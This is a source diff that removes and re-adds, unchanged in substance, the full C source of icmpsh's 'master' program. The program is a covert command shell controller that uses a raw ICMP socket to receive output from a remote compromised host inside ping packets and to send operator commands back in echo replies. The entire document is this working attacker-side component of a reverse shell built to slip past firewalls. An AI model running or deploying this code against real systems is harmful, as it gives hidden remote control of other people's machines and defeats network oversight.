|
1 | | -/* |
2 | | - * icmpsh - simple icmp command shell |
3 | | - * Copyright (c) 2010, Nico Leidecker <nico@leidecker.info> |
4 | | - * This program is free software: you can redistribute it and/or modify |
5 | | - * it under the terms of the GNU General Public License as published by |
6 | | - * the Free Software Foundation, either version 3 of the License, or |
7 | | - * (at your option) any later version. |
8 | | - * |
9 | | - * This program is distributed in the hope that it will be useful, |
10 | | - * but WITHOUT ANY WARRANTY; without even the implied warranty of |
11 | | - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the |
12 | | - * GNU General Public License for more details. |
13 | | - * |
14 | | - * You should have received a copy of the GNU General Public License |
15 | | - * along with this program. If not, see <http://www.gnu.org/licenses/>. |
16 | | - */ |
17 | | - |
18 | | -#include <stdio.h> |
19 | | -#include <stdlib.h> |
20 | | -#include <sys/types.h> |
21 | | -#include <sys/socket.h> |
22 | | -#include <sys/stat.h> |
23 | | -#include <netinet/in.h> |
24 | | -#include <netinet/ip_icmp.h> |
25 | | -#include <netinet/ip.h> |
26 | | -#include <string.h> |
27 | | -#include <unistd.h> |
28 | | -#include <fcntl.h> |
29 | | - |
30 | | -#define IN_BUF_SIZE 1024 |
31 | | -#define OUT_BUF_SIZE 64 |
32 | | - |
33 | | -// calculate checksum |
34 | | -unsigned short checksum(unsigned short *ptr, int nbytes) |
35 | | -{ |
36 | | - unsigned long sum; |
37 | | - unsigned short oddbyte, rs; |
38 | | - |
39 | | - sum = 0; |
40 | | - while(nbytes > 1) { |
41 | | - sum += *ptr++; |
42 | | - nbytes -= 2; |
43 | | - } |
44 | | - |
45 | | - if(nbytes == 1) { |
46 | | - oddbyte = 0; |
47 | | - *((unsigned char *) &oddbyte) = *(u_char *)ptr; |
48 | | - sum += oddbyte; |
49 | | - } |
50 | | - |
51 | | - sum = (sum >> 16) + (sum & 0xffff); |
52 | | - sum += (sum >> 16); |
53 | | - rs = ~sum; |
54 | | - return rs; |
55 | | -} |
56 | | - |
57 | | -int main(int argc, char **argv) |
58 | | -{ |
59 | | - int sockfd; |
60 | | - int flags; |
61 | | - char in_buf[IN_BUF_SIZE]; |
62 | | - char out_buf[OUT_BUF_SIZE]; |
63 | | - unsigned int out_size; |
64 | | - int nbytes; |
65 | | - struct iphdr *ip; |
66 | | - struct icmphdr *icmp; |
67 | | - char *data; |
68 | | - struct sockaddr_in addr; |
69 | | - |
70 | | - |
71 | | - printf("icmpsh - master\n"); |
72 | | - |
73 | | - // create raw ICMP socket |
74 | | - sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP); |
75 | | - if (sockfd == -1) { |
76 | | - perror("socket"); |
77 | | - return -1; |
78 | | - } |
79 | | - |
80 | | - // set stdin to non-blocking |
81 | | - flags = fcntl(0, F_GETFL, 0); |
82 | | - flags |= O_NONBLOCK; |
83 | | - fcntl(0, F_SETFL, flags); |
84 | | - |
85 | | - printf("running...\n"); |
86 | | - while(1) { |
87 | | - |
88 | | - // read data from socket |
89 | | - memset(in_buf, 0x00, IN_BUF_SIZE); |
90 | | - nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1); |
91 | | - if (nbytes > 0) { |
92 | | - // get ip and icmp header and data part |
93 | | - ip = (struct iphdr *) in_buf; |
94 | | - if (nbytes > sizeof(struct iphdr)) { |
95 | | - nbytes -= sizeof(struct iphdr); |
96 | | - icmp = (struct icmphdr *) (ip + 1); |
97 | | - if (nbytes > sizeof(struct icmphdr)) { |
98 | | - nbytes -= sizeof(struct icmphdr); |
99 | | - data = (char *) (icmp + 1); |
100 | | - data[nbytes] = '\0'; |
101 | | - printf("%s", data); |
102 | | - fflush(stdout); |
103 | | - } |
104 | | - |
105 | | - // reuse headers |
106 | | - icmp->type = 0; |
107 | | - addr.sin_family = AF_INET; |
108 | | - addr.sin_addr.s_addr = ip->saddr; |
109 | | - |
110 | | - // read data from stdin |
111 | | - nbytes = read(0, out_buf, OUT_BUF_SIZE); |
112 | | - if (nbytes > -1) { |
113 | | - memcpy((char *) (icmp + 1), out_buf, nbytes); |
114 | | - out_size = nbytes; |
115 | | - } else { |
116 | | - out_size = 0; |
117 | | - } |
118 | | - |
119 | | - icmp->checksum = 0x00; |
120 | | - icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size); |
121 | | - |
122 | | - // send reply |
123 | | - nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr)); |
124 | | - if (nbytes == -1) { |
125 | | - perror("sendto"); |
126 | | - return -1; |
127 | | - } |
128 | | - } |
129 | | - } |
130 | | - } |
131 | | - |
132 | | - return 0; |
133 | | -} |
134 | | -
|
| 1 | +/* |
| 2 | + * icmpsh - simple icmp command shell |
| 3 | + * Copyright (c) 2010, Nico Leidecker <nico@leidecker.info> |
| 4 | + * This program is free software: you can redistribute it and/or modify |
| 5 | + * it under the terms of the GNU General Public License as published by |
| 6 | + * the Free Software Foundation, either version 3 of the License, or |
| 7 | + * (at your option) any later version. |
| 8 | + * |
| 9 | + * This program is distributed in the hope that it will be useful, |
| 10 | + * but WITHOUT ANY WARRANTY; without even the implied warranty of |
| 11 | + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the |
| 12 | + * GNU General Public License for more details. |
| 13 | + * |
| 14 | + * You should have received a copy of the GNU General Public License |
| 15 | + * along with this program. If not, see <http://www.gnu.org/licenses/>. |
| 16 | + */ |
| 17 | + |
| 18 | +#include <stdio.h> |
| 19 | +#include <stdlib.h> |
| 20 | +#include <sys/types.h> |
| 21 | +#include <sys/socket.h> |
| 22 | +#include <sys/stat.h> |
| 23 | +#include <netinet/in.h> |
| 24 | +#include <netinet/ip_icmp.h> |
| 25 | +#include <netinet/ip.h> |
| 26 | +#include <string.h> |
| 27 | +#include <unistd.h> |
| 28 | +#include <fcntl.h> |
| 29 | + |
| 30 | +#define IN_BUF_SIZE 1024 |
| 31 | +#define OUT_BUF_SIZE 64 |
| 32 | + |
| 33 | +// calculate checksum |
| 34 | +unsigned short checksum(unsigned short *ptr, int nbytes) |
| 35 | +{ |
| 36 | + unsigned long sum; |
| 37 | + unsigned short oddbyte, rs; |
| 38 | + |
| 39 | + sum = 0; |
| 40 | + while(nbytes > 1) { |
| 41 | + sum += *ptr++; |
| 42 | + nbytes -= 2; |
| 43 | + } |
| 44 | + |
| 45 | + if(nbytes == 1) { |
| 46 | + oddbyte = 0; |
| 47 | + *((unsigned char *) &oddbyte) = *(u_char *)ptr; |
| 48 | + sum += oddbyte; |
| 49 | + } |
| 50 | + |
| 51 | + sum = (sum >> 16) + (sum & 0xffff); |
| 52 | + sum += (sum >> 16); |
| 53 | + rs = ~sum; |
| 54 | + return rs; |
| 55 | +} |
| 56 | + |
| 57 | +int main(int argc, char **argv) |
| 58 | +{ |
| 59 | + int sockfd; |
| 60 | + int flags; |
| 61 | + char in_buf[IN_BUF_SIZE]; |
| 62 | + char out_buf[OUT_BUF_SIZE]; |
| 63 | + unsigned int out_size; |
| 64 | + int nbytes; |
| 65 | + struct iphdr *ip; |
| 66 | + struct icmphdr *icmp; |
| 67 | + char *data; |
| 68 | + struct sockaddr_in addr; |
| 69 | + |
| 70 | + |
| 71 | + printf("icmpsh - master\n"); |
| 72 | + |
| 73 | + // create raw ICMP socket |
| 74 | + sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP); |
| 75 | + if (sockfd == -1) { |
| 76 | + perror("socket"); |
| 77 | + return -1; |
| 78 | + } |
| 79 | + |
| 80 | + // set stdin to non-blocking |
| 81 | + flags = fcntl(0, F_GETFL, 0); |
| 82 | + flags |= O_NONBLOCK; |
| 83 | + fcntl(0, F_SETFL, flags); |
| 84 | + |
| 85 | + printf("running...\n"); |
| 86 | + while(1) { |
| 87 | + |
| 88 | + // read data from socket |
| 89 | + memset(in_buf, 0x00, IN_BUF_SIZE); |
| 90 | + nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1); |
| 91 | + if (nbytes > 0) { |
| 92 | + // get ip and icmp header and data part |
| 93 | + ip = (struct iphdr *) in_buf; |
| 94 | + if (nbytes > sizeof(struct iphdr)) { |
| 95 | + nbytes -= sizeof(struct iphdr); |
| 96 | + icmp = (struct icmphdr *) (ip + 1); |
| 97 | + if (nbytes > sizeof(struct icmphdr)) { |
| 98 | + nbytes -= sizeof(struct icmphdr); |
| 99 | + data = (char *) (icmp + 1); |
| 100 | + data[nbytes] = '\0'; |
| 101 | + printf("%s", data); |
| 102 | + fflush(stdout); |
| 103 | + } |
| 104 | + |
| 105 | + // reuse headers |
| 106 | + icmp->type = 0; |
| 107 | + addr.sin_family = AF_INET; |
| 108 | + addr.sin_addr.s_addr = ip->saddr; |
| 109 | + |
| 110 | + // read data from stdin |
| 111 | + nbytes = read(0, out_buf, OUT_BUF_SIZE); |
| 112 | + if (nbytes > -1) { |
| 113 | + memcpy((char *) (icmp + 1), out_buf, nbytes); |
| 114 | + out_size = nbytes; |
| 115 | + } else { |
| 116 | + out_size = 0; |
| 117 | + } |
| 118 | + |
| 119 | + icmp->checksum = 0x00; |
| 120 | + icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size); |
| 121 | + |
| 122 | + // send reply |
| 123 | + nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr)); |
| 124 | + if (nbytes == -1) { |
| 125 | + perror("sendto"); |
| 126 | + return -1; |
| 127 | + } |
| 128 | + } |
| 129 | + } |
| 130 | + } |
| 131 | + |
| 132 | + return 0; |
| 133 | +} |
| 134 | + |
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